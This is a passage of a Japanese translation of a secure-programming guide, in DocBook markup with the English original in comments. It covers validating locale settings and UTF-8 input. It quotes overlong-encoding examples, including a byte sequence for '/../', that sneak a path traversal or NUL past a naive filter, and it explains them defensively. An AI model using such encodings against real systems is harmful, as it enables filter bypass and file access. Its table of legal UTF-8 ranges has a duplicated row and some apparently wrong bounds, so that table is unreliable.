Thus, like all other environment variables, these values
must be extracted and checked against valid patterns before use.
-->
ローカルで起動されるプログラム(setuid や setgid したプログラムを含む)では、
環境変数がロカール情報を提供します。
つまり他の環境変数すべてと同じように、使用する前に選択してから、正しい
パタンに反していないかチェックしなければなりません。
</para>

<para>
<!--
For web applications, this information can be obtained from the web
browser (via the Accept-Language request header).
However, since not all web browsers properly pass this information
(and not all users configure their browsers properly),
this is used less often than You might think.
Often, the language requested in a web browser
is simply passed in as a form value.
Again, these values must be checked for validity before use, as with
any other form value.
-->
Web アプリケーションは、この情報を Web ブラウザから入手します(Accept-Language 
要求ヘッダ経由で)。
しかし、ブラウザがすべて正確にこの情報を渡してくるわけではないので
(ユーザすべてがブラウザを正しく設定しているわけではないので)、思って
いるほど役に立ちません。
Web ブラウザが言語を要求する場合、たいていはただフォームの値として
渡すだけです。
つまり、他のフォームの値と同様に、これらの値は使う前に正しいかどうかチェック
しなければいけません。
</para>

<para>
<!--
In either case, locale information is
really just a special case of input discussed in the previous sections.
However, because this input is so rarely considered,
I'm discussing it separately.
In particular,
when combined with format strings (discussed later), user-controlled
strings can permit attackers to force other programs to run
arbitrary instructions,
corrupt data, and do other unfortunate actions.
-->
ロカール情報は、どちらのケースにおいても、先のセクションで議論した入力という
意味でまさに特殊なケースです。
しかし、この入力はほとんど考慮されていないので、あえて独立して論じました。
特に書式文字列(後で論じます)と組み合わさると、ユーザが管理している文字列に
よって他のプログラムで任意の命令や不正なデータを動かしたり、その他不適切
な動作を攻撃者が実行できたりします。
</para>

</sect2>

<sect2 id="locale-support-mechanisms">
<!-- <title>Locale Support Mechanisms</title> -->
<title>ロカールを動かすメカニズム</title>

<para>
<!--
There are two major library interfaces for supporting locale-selected
messages on Unix-like systems,
one called ``catgets'' and the other called ``gettext''.
In the catgets approach, every string is assigned a unique number, which
is used as an index into a table of messages.
In contrast,
in the gettext approach, a string (usually in English) is used to
look up a table that translates the original string.
catgets(3) is an accepted standard
(via the X/Open Portability Guide, Volume 3 and
Single Unix Specification),
-->
ロカール・メッセージを選択する方法として、Unix ライクなシステムには大きく
言って 2 つのライブラリ・インタフェースがあります。1 つは「catgets」、
もう 1 つは「gettext」です。
catgets のアプローチは、すべての文字列はユニークな番号が割り振られていて、
その番号をメッセージが書いてあるテーブルのインデックスとして使っています。
一方 gettext のアプローチでは、文字列(通常は英語)を使って、テーブルにある
文字列を翻訳したものを捜します。
catgets(3) は規格として認められていて(X/Open Portability Guide の 3 号
と Single Unix Specification で)、
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.opengroup.org/onlinepubs/007908799/xsh/catopen.html -->
<!--
so it's possible your program uses it.
The ``gettext'' interface is not an official standard,
(though it was originally a UniForum proposal), but I believe it's the
more widely used interface
(it's used by Sun and essentially all GNU programs).
-->
プログラムで利用可能です。
「gettext」のインタフェースは、公式の規格ではありませんが(しかしもともと
は UniForum の提案でした)、インタフェースとして catgets より利用されて
いると思っています(Sun や GNU のすべてのプログラムで)。
【訳註：UniForum については、 
<ulink url="http://www.uniforum.org/">http://www.uniforum.org/</ulink>
を見てください】

</para>

<para>
<!--
In theory, catgets should be slightly faster, but this is at best
marginal on today's machines, and the bookkeeping effort to keep
unique identifiers valid in catgets() makes the gettext() interface
much easier to use.
I'd suggest using gettext(), just because it's easier to use.
However, don't take my word for it; see GNU's documentation on gettext
(info:gettext#catgets) for a longer and more descriptive comparison.
-->
原理的には catgets の方がわずかに速いはずですが、最近のマシンであれば
その差はほんのわずかです。また、catgets() が一意の識別子を維持・管理する
のが面倒で、gettext() のインタフェースの方が使いやすくなっています。
私としては、gettext()を使用することをお薦めします。これは使いやすいからに
他なりません。
しかし私の言葉をそのまま鵜呑みにしないでください。gettext については GNU の
ドキュメント(info:gettext#catgets) で、たっぷりいろいろと比較していますので、
見てください。
</para>

<para>
<!--
The catgets(3) call (and its associated catopen(3) call)
in particular is vulnerable
to security problems, because the environment variable NLSPATH can be
used to control the filenames used to acquire internationalized messages.
The GNU C library ignores NLSPATH for setuid/setgid programs, which helps,
but that doesn't protect programs running on other implementations, nor
other programs (like CGI scripts) which don't ``appear'' to
require such protection.
-->
catgets(3)(とそれと関連している catopen(3))はセキュリティ上の問題に対して
とても脆弱です。それは環境変数である NLSPATH を使用して、国際化された
メッセージを取得するファイル名を管理しているからです。
GNU C ライブラリは NLSPATH を setuid や setgid したプログラムでは無視
するようになっています。これは役には立ちますが、他の実装で動作する
プログラムを防御できませんし、そのような防御が必要とは「見えない」
その他のプログラム(CGI スクリプトのような)も防御できません。
</para>

<para>
<!--
The widely-used ``gettext'' interface is at least not
vulnerable to a malicious NLSPATH setting to my knowledge.
However, it appears likely to me that malicious settings of
LC_ALL or LC_MESSAGES could cause problems.
Also, if you use gettext's bindtextdomain() routine in its file cat-compat.c,
that does depend on NLSPATH.
-->
広く利用されている「gettext」のインタフェースは、少なくとも私の知る限り、
悪意を持って設定した NLSPATH に対して脆弱ではありません。
しかし、悪意を持って設定した LC_ALL や LC_MESSAGES は、問題を起こすように
思えます。
また、gettext の cat-compat.c にある bindtextdomain() ルーチンを使うと
NLSPATH に頼ることになります。
</para>
</sect2>

<sect2 id="locale-legal-values">
<!-- <title>Legal Values</title> -->
<title>正しい値</title>

<para>
<!--
For the moment, if you must permit untrusted users to set information on
their desired locales, make sure the provided internationalization information
meets a narrow filter that only permits legitimate locale names.
For user programs (especially setuid/setgid programs), these values
will come in via NLSPATH, LANGUAGE, LANG, the old LINGUAS, LC_ALL, and
the other LC_* values (especially LC_MESSAGES, but also including
LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, and LC_TIME).
For web applications, this user-requested set of language information
would be done via the Accept-Language request header or a form value
(the application should indicate the actual language setting of the
data being returned via the Content-Language heading).
You can check this value as part of your environment variable filtering if
your users can set your environment variables (i.e., setuid/setgid
programs) or as part of your input filtering (e.g., for CGI scripts).
The GNU C library "glibc" doesn't accept some values of LANG for
setuid/setgid programs (in particular anything with "/"),
but errors have been found in that filtering
(e.g., Red Hat released an update to fix this error in glibc
on September 1, 2000).
This kind of filtering isn't required by any standard, so you're
safer doing this filtering yourself.
I have not found any guidance on filtering language settings,
so here are my suggestions based on my own research into the issue.
-->
とりあえず、信頼できないユーザに希望するロカールを設定させるなら、設定
しようとする国際化情報がフィルタに必ず合致するようにしてください。この
フィルタでは、正しいロカールの名前だけを許可するように限定しておきます。
ユーザ・プログラム(特に setgid や setuid してあるプログラム)は、これらの
値を次の変数から取得します。それは、NLSPATH や LANGUAGE、LANG、古くなった 
LINGUAS、LC_ALL、その他の LC_* (LC_MESSAGES だけでなく、LC_COLLATE、
LC_CTYPE、LC_MONETARY、LC_NUMERIC、LC_TIME も)です。
Web アプリケーションでは、ユーザが要求する言語情報は Accept-Language 
要求ヘッダもしくはフォームの値として提供されます(アプリケーションは、
Content-Language: ヘッダーを使って、返されるデータの実際の言語設定を
示すべきです)。
ユーザがあなたの環境変数を設定していれば(つまり、setgid や setuid して
あるプログラム)、環境変数のフィルタリングの一部もしくは、入力フィルタ(たとえば
CGI スクリプト用に)の一部としてこの値をチェックできます。
GNU の C ライブラリである「glibc」は、setgid や setuid したプログラムでは
LANG の値を受け付けないものがありますが(特に「/」を伴ったもの)、そのフィルタ
にはエラーがあることがわかっています(たとえば、Red Hat はこのエラーを修正
するために、glibc のアップデートを 2000 年 9 月 1 日にしています)。
この種のフィルタリングは規格上必要とはされていませんので、あなた自身が
フィルタリングを行なうことで、より安全にできます。
フィルタリング言語の設定については、手引きが何も見つけられませんでした。
そこでここでは、この件について私自身が調査したことに基づいて、アドバイスを
します。
</para>

<para>
<!--
First, a few words about the legal values of these settings.
Language settings are generally set using the standard tags defined
in IETF RFC 1766 (which uses two-letter country codes as its basic tag,
followed by an optional subtag separated by a dash; I've found that
environment variable settings use the underscore instead).
However, some find this insufficiently flexible, so three-letter country
codes may soon be used as well.
Also, there are two major not-quite compatible extended formats, the
X/Open Format and the CEN Format (European Community Standard);
you'd like to permit both.
Typical values include
``C'' (the C locale), ``EN'' (English''),
and ``FR_fr'' (French using the territory of France's conventions).
Also, so many people use nonstandard names that programs have had to develop
``alias'' systems to cope with nonstandard names
(for GNU gettext, see /usr/share/locale/locale.alias, and for X11, see
/usr/lib/X11/locale/locale.alias; you might need "aliases" instead of "alias");
they should usually be permitted as well.
Libraries like gettext() have to accept all these variants and find an
appropriate value, where possible.
One source of further information is FSF [1999];
another source is the li18nux.org web site.
A filter should not permit characters that aren't needed,
in particular ``/'' (which might permit escaping out of the trusted
directories) and ``..'' (which might permit going up one directory).
Other dangerous characters in NLSPATH
include ``%'' (which indicates substitution) and ``:''
(which is the directory separator); the documentation I have for other
machines suggests that some implementations may use them for other values,
so it's safest to prohibit them.
-->
まずは、これらの設定で何が正しい値かについて一言述べておきます。
言語設定は、一般的に IETF RFC 1766 で定義している標準タグを使っています
(2 文字の国コードを基本タグとし、その後に任意でダッシュ(-)で区切ったサブ
タグが続くことがあります。環境変数の場合、アンダースコアを代わりに使います)。
しかし、これは柔軟であるとは言い難く、3 文字の国コードがまもなく利用できる
ようになるでしょう。
また、機能を拡張した メジャーな 2 つのフォーマットがありますが、互換性が
あるとはいえません。それは X/Open フォーマットと CEN フォーマット(European 
Community Standard)です。
どちらも許可して良いでしょう。
典型的な値としては、「C」(C ロカール)や「EN」(英語)、「FR_fr」(フランスの
慣習が生きている地域で利用しているフランス語)があります。
また標準ではない名称を使っている場合が多く、プログラムは「別名(alias)」を
使える仕組みを開発する必要にせまられ、標準ではない名称を扱えるようになり
ました(GNU の gettext なら /usr/share/locale/locale.alias、X11 なら 
/usr/lib/X11/locale/locale.alias を見てください。「alias」ではなく、
「aliases 」とする必要があるかもしれません)。
どちらも普通は利用できるはずです。
gettext()のようなライブラリは、これらのエイリアスをすべて受け付けなければ
ならず、できるだけ適切な値を適用できなければいけません。
より詳しい情報は、FSF [1999]や li18nux.org の Web サイトにあります。
フィルタは、不必要な文字を許可すべきではありません。特に「/」(信頼されている
ディレクトリから抜け出てしまえる可能性がある)や「..」(上位ディレクトリに
移動できてしまう可能性がある)は許可してはいけません。
NLSPATH に含まれる他の危険な文字には、「%」(置換を表わす)と「:」(ディレクトリ
の区切り)があります。私が所有している他のマシン用資料によると、実装によって、
これらの文字が他の値を示すために使われている場合もありますので、禁止した方が
安全である、となっています。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- The Sun man page for "man locale" is disturbingly ambiguous on whether
     or not these characters affect values other than NLSPATH -->
</para>
</sect2>

<sect2 id="locale-bottom-line">
<!-- <title>Bottom Line</title> -->
<title>結論</title>

<para>
<!--
In short, I suggest
simply erasing or re-setting the NLSPATH, unless you have a trusted user
supplying the value.
For the Accept-Language heading in HTTP (if you use it),
form values specifying the locale, and the environment variables
LANGUAGE, LANG, the old LINGUAS, LC_ALL, and the other LC_* values listed
above,
filter the locales from untrusted users to permit null (empty) values or
to only permit values that match in total this regular expression
(note that I've recently added "="):
-->
つまり私としては、NLSPATH を削除するか、再設定するかのどちらかを推奨します。
そうしないと、その値を渡してくるユーザを信頼しなければいけなくなります。
HTTP における Accept-Language ヘッダ(を使うなら)や、ロカールを指定する
フォームの値、上記で挙げた環境変数の LANGUAGE や LANG、古い LINGUAS、
LC_ALL、その他の LC_* に対しては、信頼できないユーザからのロカールに null
(値なし)を設定するか、正規表現全体にマッチした値だけを許可するように
フィルタをかけてください(私は最近このフィルタに「=」を追加しました)。
<programlisting width="61">
 [A-Za-z][A-Za-z0-9_,+@\-\.=]*
</programlisting>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I permit plus. Standard locale name from li18nux.org
     permits "=", so I added it; as of Feb 2002 they don't accept "+",
     which is needed to suport the CEN format. -->
<!--
I haven't found any legitimate locale which doesn't match this pattern,
but this pattern does appear to protect against locale attacks.
Of course, there's no guarantee that there are messages available
in the requested locale,
but in such a case these routines will fall back to the default
messages (usually in English), which at least is not a security problem.
-->
正しいロカールで、このパタンにマッチしないものを見たことがありませんが、
このパタンで、ロカールを利用した攻撃を防ぐようです。
もちろん、要求されたロカール中に利用できるメッセージが存在する保証はあり
ません。
しかしその場合でも、これらのルーチンはデフォルトのメッセージ(通常は英語)
を表示します。これがセキュリティ上問題とはならないのは確かです。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I developed this pattern, after looking at the GLIBC specs in
     http://www.netppl.fi/~pp/glibc21/libc_8.html and the aliases on
     Red Hat 6.2 -->
</para>

<para>
<!--
If you wish to be really picky, and only patterns that match li18nux's
locale pattern, you can use this pattern instead:
-->
本当にこだわるなら、代わりに li18nux で提供しているロカールのパタンに
マッチするものだけを使ってください。
<programlisting width="61">
 ^[A-Za-z]+(_[A-Za-z]+)?
 (\.[A-Z]+(\-[A-Z0-9]+)*)?
 (\@[A-Za-z0-9]+(\=[A-Za-z0-9\-]+)
  (,[A-Za-z0-9]+(\=[A-Za-z0-9\-]+))*)?$
</programlisting>
<!--
In both cases, these patterns use POSIX's extended (``modern'')
regular expression notation (see regex(3) and regex(7) on Unix-like systems).
-->
どちらの場合も、POSIX の拡張(「新しい」)正規表現の考えに基づいています
(Unix ライクなシステムなら regex(3) や regex(7)を見てください)。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- See John Levon's Bugtraq post on July 26, 2000 re internationalization
     and format strings.
-->

<para>
<!--
Of course, languages cannot be supported without a
standard way to represent their written symbols, which brings
us to the issue of character encoding.
-->
もちろん言語というものは、標準的な手段で書き文字を表現できなくては、言語を
サポートしているとは言えません。このことから文字のエンコードという問題に直面
することになります。
</para>

</sect2>

</sect1>

<sect1 id="character-encoding">
<!-- <title>Character Encoding</title> -->
<title>文字のエンコード</title>

<sect2 id="character-encoding-intro">
<!-- <title>Introduction to Character Encoding</title> -->
<title>文字のエンコードとは</title>

<para>
<!--
For many years Americans have exchanged text using the ASCII character set;
since essentially all U.S. systems support ASCII,
this permits easy exchange of English text.
Unfortunately, ASCII is completely inadequate in handling the characters
of nearly all other languages.
For many years different countries have adopted different techniques for
exchanging text in different languages, making it difficult to exchange
data in an increasingly interconnected world.
-->
長年に渡って、米国では ASCII 文字セットを使って文字のやり取りをしてきました。
米国のシステムは基本的に ASCII をサポートしているので、簡単に英語の文字で
やり取りできます。
残念なことに、その他言語の文字の大半を扱うには ASCII ではまったく力不足です。
これまでずっと、さまざまな国でいろいろなテクニックを使って、さまざまな言語
で文字をやり取りしてきました。このことが、ますます相互につながりを持ちつつ
ある世界で、データをやり取りすることを困難にしています。
</para>

<para>
<!--
More recently, ISO has developed ISO 10646,
the ``Universal Mulitple-Octet Coded Character Set (UCS).
UCS is a coded character set which
defines a single 31-bit value for each of all of the world's characters.
The first 65536 characters of the UCS (which thus fit into 16 bits)
are termed the ``Basic Multilingual Plane'' (BMP),
and the BMP is intended to cover nearly all of today's spoken languages.
The Unicode forum develops the Unicode standard, which concentrates on
the UCS and adds some additional conventions to aid interoperability.
Historically, Unicode and ISO 10646 were developed by competing groups,
but thankfully they realized that they needed to work together and they now
coordinate with each other.
-->
つい最近、ISO は ISO 10646 を整備し、「Universal Mulitple-Octet Coded 
Character Set(UCS)」としました。
UCS は全世界の文字それぞれに対して、31 ビットの値を定義した符号化文字集合です。
UCS のはじめから 65536 文字(16 ビットに当たります)は、「Basic Multilingual 
Plane(BMP)」とし、今日使用されている言語をほぼカバーすることを目的としています。
Unicode コンソシアムは Unicode 規格を作成しました。これは UCS に焦点を当て、
追加でいくつか規約を設け、共同で運用できるようにしています。
もともと Unicode と ISO 10646 は競いあって制定を進めてきましたが、ありがたい
ことに共同して作業をする必要があることを理解し、今ではお互いに連携しています。
</para>

<para>
<!--
If you're writing new software that handles internationalized characters,
you should be using ISO 10646/Unicode as your basis for handling
international characters.
However, you may need to process older documents in various older
(language-specific) character sets, in which case, you need to ensure that
an untrusted user cannot control the setting of another document's
character set (since this would significantly affect the document's
interpretation).
-->
多言語を扱う新規のソフトウェアを書くなら、ISO 10646 や Unicode を基本として
多言語を扱うようにしてください。
しかし、さまざまな(言語固有の)文字集合で書かれた古いドキュメントを処理する
必要があるかもしれませんので、信頼できないユーザが他のドキュメントの文字集合
をコントロールできないことを必ず確認してください。
(ドキュメントの変換処理に影響が大きいからです)。
</para>
</sect2>

<sect2 id="character-encoding-utf8">
<!-- <title>Introduction to UTF-8</title> -->
<title>UTF-8 とは</title>

<para>
<!--
Most software is not designed to handle 16 bit or 32 bit characters,
yet to create a universal character set more than 8 bits was required.
Therefore, a special format called ``UTF-8'' was developed to encode these
potentially international
characters in a format more easily handled by existing programs and libraries.
UTF-8 is defined, among other places, in IETF RFC 2279, so it's a
well-defined standard that can be freely read and used.
UTF-8 is a variable-width encoding; characters numbered 0 to 0x7f (127)
encode to themselves as a single byte,
while characters with larger values are encoded into 2 to 6 bytes of
information (depending on their value).
The encoding has been specially designed to have the following
nice properties (this information is from the RFC and Linux utf-8 man page):
-->
ソフトウェアの大半は、16 ビットや 32 ビットの文字を扱うように設計しておらず、
8 ビット以上が必要な多言語文字集合を作成してもいません。
そのため UTF-8 という特別なフォーマットが開発され、既存のプログラムや
ライブラリが、多言語を表現できる文字列を容易に扱えるような形式にエンコード
することとなりました。
UTF-8 は IETF RFC 2279 で定義してありますので、よくまとめられた規格が自由
に読めて利用ができるのは幸いなことです。
UTF-8 は可変長でエンコードします。0 から 0x7f(127)の文字は 1 バイトでその
ままエンコードしますが、それより大きな値の文字は 2 から 6 バイトの情報として
エンコードします(値によってバイト数がかわります)。
エンコードは、下記の属性に適合するように特別に設計してあります(これは RFC 
もしくは Linux に含まれている utf-8 の man からの情報です)。
<itemizedlist>
<listitem><para>
<!--
       The classical US ASCII characters (0 to 0x7f) encode as themselves,
       so files  and strings  which  contain only 7-bit ASCII characters
       have the same encoding under both ASCII and UTF-8.
       This is fabulous for backward compatibility with the many existing
       U.S. programs and data files.
-->
これまで利用していた US ASCII 文字(0 から 0x7f)はそのままエンコードしますので、
7 ビットの ASCII 文字だけのファイルや文字列は、ASCII でも UTF-8 でも同じ
エンコードを行います。
この方法は、多量にある既存の米国製プログラムやデータファイルにとって下位互換性
という点で優れています。
</para></listitem>

<listitem><para>
<!--
       All UCS characters beyond 0x7f are  encoded  as  a  multibyte
       sequence  consisting  only of bytes in the range 0x80 to 0xfd.
       This means that no ASCII byte can appear  as  part  of  another
       character.  Many other encodings permit characters such as an
       embedded NIL, causing programs to fail.
-->
0x7f より大きい UCS 文字すべてはマルチバイト文字列としてエンコードし、
0x80 から 0xfd の範囲に納めます。
つまりASCII 文字を他の文字の一部として表現することはありません。他の
エンコード方法では NIL のような文字を組み込めるので、プログラムが処理
できなくなってしまいます。
</para></listitem>

<listitem><para>
<!--
       It's easy to convert between UTF-8 and a 2-byte or 4-byte
       fixed-width representations of characters (these are called
       UCS-2 and UCS-4 respectively).
-->
UTF-8 と 2 バイトもしくは 4 バイト固定長の文字表現間の変換は簡単に
できます(それぞれ UCS-2 及び UCS-4 と呼ばれます)。
</para></listitem>

<listitem><para>
<!--
       The lexicographic sorting order of UCS-4 strings is preserved,
       and the Boyer-Moore fast search algorithm can be used directly
       with UTF-8 data.
-->
UCS-4 文字列での辞書順ソートの並びはそのままなので、Boyer-Moore 法による
高速検索アルゴリズムが UTF-8 のデータにも直接利用できます。
</para></listitem>

<listitem><para>
<!--
       All  possible 2^31 UCS codes can be encoded using UTF-8.
-->
2^31 ビットのすべての UCS コードが UTF-8 を使用してエンコードできます。
</para></listitem>

<listitem><para>
<!--
       The  first byte of a multibyte sequence which represents
       a single non-ASCII UCS character is always in the  range
       0xc0  to  0xfd  and  indicates  how  long this multibyte
       sequence is. All further bytes in a  multibyte  sequence
       are  in  the range 0x80 to 0xbf. This allows easy resynchronization;
       if a byte is missing, it's easy to skip forward to the ``next''
       character, and it's always easy to skip forward and back to the
       ``next'' or ``preceding'' character.
-->
あるマルチバイト文字列の先頭のバイトが ASCII 文字ではない場合、その値の範囲
は常に 0xc0 から 0xfd になり、そのマルチバイト文字列長がどのくらいなのかを
示しています。残りすべては 0x80 から 0xbf の範囲になります。これで簡単に同期
を取り直せます。つまりあるバイトが落ちてしまっても、スキップすることで簡単に
「次」の文字に進めますし、「前後」の文字にも簡単に行きつ戻りつできます。
</para></listitem>

</itemizedlist>
</para>


<para>
<!--
In short, the UTF-8 transformation format is becoming a dominant method
for exchanging international text information because it can support all of the
world's languages, yet it is backward compatible with U.S. ASCII files
as well as having other nice properties.
For many purposes I recommend its use, particularly when storing data
in a ``text'' file.
-->
要するに UTF-8 の変換フォーマットは、多言語のテキスト情報をやりとりするのに
秀でており、世界中のあらゆる言語をサポートできます。その上なお、US ASCII 
ファイルと下位互換性があると同時に、他の優れた属性も持っています。
いろいろな目的に採用することをお薦めします。「テキスト」ファイルにデータを
保存する場合にはなおさら。
</para>
</sect2>

<sect2 id="utf8-security-issues">
<!-- <title>UTF-8 Security Issues</title> -->
<title>UTF-8 のセキュリティ上の課題</title>

<para>
<!--
The reason to mention UTF-8 is that
some byte sequences are not legal UTF-8, and
this might be an exploitable security hole.
UTF-8 encoders are supposed to use the ``shortest possible''
encoding, but naive decoders may accept encodings that are longer than
necessary.
Indeed, earlier standards permitted decoders to accept
``non-shortest form'' encodings.
The problem here is that this means that potentially dangerous
input could be represented multiple ways, and thus might
defeat the security routines checking for dangerous inputs.
The RFC describes the problem this way:
-->
UTF-8 に言及する訳は、バイト列に不正な UTF-8 があると、それがセキュリティ
ホールになるかもしれないからです。
UTF-8 は、「最短」エンコードの利用を想定していますので、そのままデコード
すると、必要以上に長い文字列をエンコードしたものを受けてしまうかもしれない
からです。
実際、初期の規格では「最短」でないエンコードを認めていました。
ここで問題となるのは、複数の方法で危険な入力が行われる可能性があり、その
ことによって、危険な入力に対するセキュリティ処理が無になるかもしれないと
いうことです。
RFC ではその問題を下記のように記載しています。
<blockquote>
<para>
<!--
Implementers of UTF-8 need to consider the security aspects of how
they handle illegal UTF-8 sequences.  It is conceivable that in some
circumstances an attacker would be able to exploit an incautious
UTF-8 parser by sending it an octet sequence that is not permitted by
the UTF-8 syntax.
-->
UTF-8 の実装では、不正な UTF-8 文字列をどのように対処するか、という
セキュリティ上の観点を考慮する必要があります。環境によっては、攻撃者が
無防備な UTF-8 パーサに UTF-8 の文法では認められていないオクテット文字列
を送りこみ、悪用してしまうことも考えられます。
</para>

<para>
<!--
A particularly subtle form of this attack could be carried out
against a parser which performs security-critical validity checks
against the UTF-8 encoded form of its input, but interprets certain
illegal octet sequences as characters.  For example, a parser might
prohibit the NUL character when encoded as the single-octet sequence
00, but allow the illegal two-octet sequence C0 80 (illegal because
it's longer than necessary) and interpret it
as a NUL character (00).  Another example might be a parser which
prohibits the octet sequence 2F 2E 2E 2F ("/../"), yet permits the
illegal octet sequence 2F C0 AE 2E 2F.
-->
この攻撃は、入力に対してセキュリティに重点をおいた正当性チェックを行う
パーサに対して、実に巧妙に実行されます。UTF-8 でエンコードしてあるものの、
文字として不正なオクテット列として解釈されてしまう入力がそれに当たります。
たとえば、パーサは 00 という単独のオクテット文字がエンコードされた場合には 
NULL 文字を禁止しているかもしれません。しかし不正であるオクテット文字 2 
文字である C0 80(必要以上に長い)は許しており、それを NUL 文字(00)として
処理しています。その他の例としては、オクテット文字列である 2F 2E 2E 2F
("/../")は禁止していますが、不正である 2F C0 AE 2E 2F は許してしまっています。
</para>
</blockquote>

</para>

<para>
<!--
A longer discussion about this is available at
Markus Kuhn's
<emphasis remap="it">UTF-8 and Unicode FAQ for Unix/Linux</emphasis> at
<ulink
url="http://www.cl.cam.ac.uk/~mgk25/unicode.html">http://www.cl.cam.ac.uk/~mgk25/unicode.html</ulink>.
-->
この件についてのさらなる論議は
Markus Kuhn 氏のサイト  
<ulink
url="http://www.cl.cam.ac.uk/~mgk25/unicode.html">http://www.cl.cam.ac.uk/~mgk25/unicode.html</ulink> にある 
<emphasis remap="it">UTF-8 and Unicode FAQ for Unix/Linux</emphasis> 
で読めます。
</para>
</sect2>

<sect2 id="utf8-legal-values">
<!-- <title>UTF-8 Legal Values</title> -->
<title>UTF-8 の正しい値</title>

<para>
<!--
Thus, when accepting UTF-8 input, you need to check if the input is
valid UTF-8.
Here is a list of all legal UTF-8 sequences; any character
sequence not matching this table is not a legal UTF-8 sequence.
In the following table, the first column shows the various character
values being encoded into UTF-8.
The second column shows how those characters are encoded as binary values;
an ``x'' indicates where the data is placed (either a 0 or 1), though
some values should not be allowed because they're not the shortest possible
encoding.
The last row shows the valid values each byte can have
(in hexadecimal).
Thus, a program should check that every character meets one of the patterns
in the right-hand colu.
A ``-'' indicates a range of legal values (inclusive).
Of course, just because a sequence is a legal UTF-8 sequence doesn't
mean that you should accept it (you still need to do all your other
checking), but generally you should check any UTF-8 data for UTF-8 legality
before performing other checks.
-->
つまり、UTF-8 を入力として受け付ける場合は、その入力が正しい UTF-8 なのかを
チェックする必要があります。
ここで挙げる一覧は、正しい UTF-8 文字列すべてです。文字がこのテーブルに
マッチしなければ、正しいとは言えません。
下記のテーブルで 1 番目のカラムは UTF-8 にエンコードする各種文字コードです。
2 番目は文字がどのようにバイナリにエンコードするかを示しています。「x」は
データがあること(0 か 1)を示しますが、最短エンコードでない場合には認める
べきでないケースもあります。
最後は、それぞれのバイトが取りうる正しい値(16 進表示)です。
したがって、個々の文字が右側のカラムのパタンのどれに当てはまるのか、プログラム
でチェックする必要があります。
「-」は正しい値の範囲(両端を含む)を表わしています。
もちろん、文字列が正しい UTF-8 の文字列であると言うことだけで、受け入れて良い
とは言えませんが(その他のチェックも必要)、普通、他のチェックをする前に UTF-8 
の正当性をチェックする必要があります。
<table>
<title>Legal UTF-8 Sequences</title>
<tgroup cols="3">
<colspec colname="UCS">
<colspec colname="binary-range">
<colspec colname="hex">
<thead>
<row><entry>UCS Code (Hex)</entry><entry>Binary UTF-8 Format</entry><entry>Legal UTF-8 Values (Hex)</entry></row>
</thead>
<tbody>
<row><entry>00-7F</entry><entry>0xxxxxxx</entry><entry>00-7F</entry></row>
<row><entry>80-7FF</entry><entry>110xxxxx 10xxxxxx</entry><entry>C2-DF 80-BF</entry></row>
<row><entry>800-FFF</entry><entry>1110xxxx 10xxxxxx 10xxxxxx</entry><entry>E0 A0*-BF 80-BF</entry></row>
<row><entry>1000-FFFF</entry><entry>1110xxxx 10xxxxxx 10xxxxxx</entry><entry>E1-EF 80-BF 80-BF</entry></row>
<row><entry>10000-3FFFF</entry> <entry>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F0 90*-BF 80-BF 80-BF</entry></row>
<row><entry>40000-FFFFFF</entry><entry>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F1-F3 80-BF 80-BF 80-BF</entry></row>
<row><entry>40000-FFFFFF</entry><entry>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F1-F3 80-BF 80-BF 80-BF</entry></row>
<row><entry>100000-10FFFFF</entry><entry>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F4 80-8F* 80-BF 80-BF</entry></row>
<row><entry>200000-3FFFFFF</entry><entry>111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>too large; see below</entry></row>
<row><entry>04000000-7FFFFFFF</entry><entry>1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>too large; see below</entry></row>
</tbody>
</tgroup>
</table>
</para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- From: http://www.unicode.org/unicode/uni2errata/UTF-8_Corrigendum.html -->

<para>
<!--
As I noted earlier, there are two standards for character sets,
ISO 10646 and Unicode, who have agreed to synchronize their
character assignments.
The definition of UTF-8 in ISO/IEC 10646-1:2000 and the IETF RFC
also currently support
five and six byte sequences to encode characters outside the range
supported by Uniforum's Unicode, but such values can't be used to
support Unicode characters and it's expected that a future version of
ISO 10646 will have the same limits.
-->
先に触れたように、文字集合には ISO 10646、Unicode という 2 つの規格が
ありますが、文字の割り当てに関しては同期を取っています。
現状、ISO/IEC 10646-1:2000 と IETF RFC における UTF-8 の定義では、5、6 
バイト文字列のエンコードもサポートしており、文字を Uniforum の Unicode 
の範囲外にエンコードしています。しかしそのような値は、Unicode 文字としては
サポートされてこなかったので、ISO 10646 の将来のバージョンでも同様の制約
を受けると思われます。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!--  http://www.unicode.org/unicode/reports/tr27/#relation -->
<!--
Thus, for most purposes the five and six byte UTF-8 encodings aren't legal,
and you should normally reject them (unless you have a special purpose
for them).
-->
つまり、5、6 バイトの UTF-8 のエンコードが正しいケースはほとんど無く、
通常は拒否しなければいけません(特別な目的が無い限り)。
</para>

<para>
<!--
This is set of valid values is tricky to determine, and in fact
earlier versions of this document got some entries
wrong (in some cases it permitted overlong characters).
Language developers should include a function in their libraries
to check for valid UTF-8 values, just because it's so hard to get right.
-->
正しい値の範囲を特定するのは困難です。そして実際このドキュメントの初期の版
では、間違った項目がいくつか記載してありました(長すぎる文字を許してしまって
いるケースがありました)。
言語開発者は、ライブラリに正しい UTF-8 の値をチェックする機能を入れる
必要があります。チェックを正しく行うのはとても困難なので。
</para>

<para>
<!--
I should note that in some cases, you might want to cut slack (or use
internally) the hexadecimal sequence C0 80.  This is an overlong sequence
that, if permitted, can represent ASCII NUL (NIL).  Since C and C++
have trouble including a NIL character in an ordinary string,
some people have taken
to using this sequence when they want to represent NIL as part of the
data stream; Java even enshrines the practice.
Feel free to use C0 80 internally while processing data, but technically
you really should translate this back to 00 before saving the data.
Depending on your needs, you might decide to be ``sloppy'' and accept
C0 80 as input in a UTF-8 data stream.
